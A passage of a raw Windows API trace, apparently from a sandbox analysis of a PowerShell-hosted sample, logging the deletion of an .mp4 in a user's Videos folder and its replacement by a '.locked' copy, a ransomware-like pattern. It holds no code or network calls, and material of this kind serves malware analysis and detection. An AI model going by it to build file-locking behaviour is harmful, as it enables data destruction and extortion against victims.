0xffffffff [0137.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0137.609] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0137.609] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0137.609] CoTaskMemFree (pv=0x8eb8d30) [0137.610] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4")) returned 0x20 [0137.611] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.611] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0137.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4"), fInfoLevelId=0x0, lpFileInformation=0x6a90280 | out: lpFileInformation=0x6a90280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a6ce620, ftCreationTime.dwHighDateTime=0x1d4a021, ftLastAccessTime.dwLowDateTime=0x87d937e0, ftLastAccessTime.dwHighDateTime=0x1d49ec6, ftLastWriteTime.dwLowDateTime=0x87d937e0, ftLastWriteTime.dwHighDateTime=0x1d49ec6, nFileSizeHigh=0x0, nFileSizeLow=0x6be3)) returned 1 [0137.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0137.611] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4")) returned 1 [0137.613] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.613] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.613] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.613] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.613] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.614] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4.locked")) returned 0x20 [0137.615] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4.locked")) returned 0x20 [0137.615] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked", lpFilePart=0x0) returned 0x77 [0137.615] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked", lpFilePart=0x0) returned 0x77 [0137.615] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.615] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.615] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.615] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.615] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.615] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.617] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.617] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.617] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.617] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.617] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.619] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.619] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.619] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.619] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.619] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.621] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.621] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.621] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.621] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.621] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.623] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0137.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0137.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x6aabfec | out: lpFileInformation=0x6aabfec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x153ef13a, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x153ef13a, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x153ef13a, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x6c04)) returned 1 [0137.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0137.625] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked", lpFilePart=0x0) returned 0x77 [0137.625] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0137.626] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0137.626] CloseHandle (hObject=0x764) returned 1 [0137.626] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0137.627] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0137.627] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0137.631] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0137.631] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0137.632] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0137.632] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0137.636] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0137.636] GetConsoleOutputCP () returned 0x1b5 [0137.636] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0137.636] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0137.637] GetConsoleOutputCP () returned 0x1b5 [0137.637] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0137.637] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0137.638] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad4a70*, nNumberOfCharsToWrite=0x72, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6ad4a70*, lpNumberOfCharsWritten=0x99ae3a4*=0x72) returned 1 [0137.638] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0137.638] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0137.642] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0137.642] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0137.644] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0137.648] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0137.648] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0137.649] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0137.653] GetConsoleOutputCP () returned 0x1b5 [0137.653] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.653] GetConsoleOutputCP () returned 0x1b5 [0137.653] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.653] GetConsoleOutputCP () returned 0x1b5 [0137.653] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.654] GetConsoleOutputCP () returned 0x1b5 [0137.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.654] GetConsoleOutputCP () returned 0x1b5 [0137.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.654] GetConsoleOutputCP () returned 0x1b5 [0137.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.655] GetConsoleOutputCP () returned 0x1b5 [0137.655] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.655] GetConsoleOutputCP () returned 0x1b5 [0137.655] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.655] GetConsoleOutputCP () returned 0x1b5 [0137.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.656] GetConsoleOutputCP () returned 0x1b5 [0137.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.656] GetConsoleOutputCP () returned 0x1b5 [0137.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.656] GetConsoleOutputCP () returned 0x1b5 [0137.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.657] GetConsoleOutputCP () returned 0x1b5 [0137.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.657] GetConsoleOutputCP () returned 0x1b5 [0137.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.657] GetConsoleOutputCP () returned 0x1b5 [0137.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.658] GetConsoleOutputCP () returned 0x1b5 [0137.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.658] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0137.658] 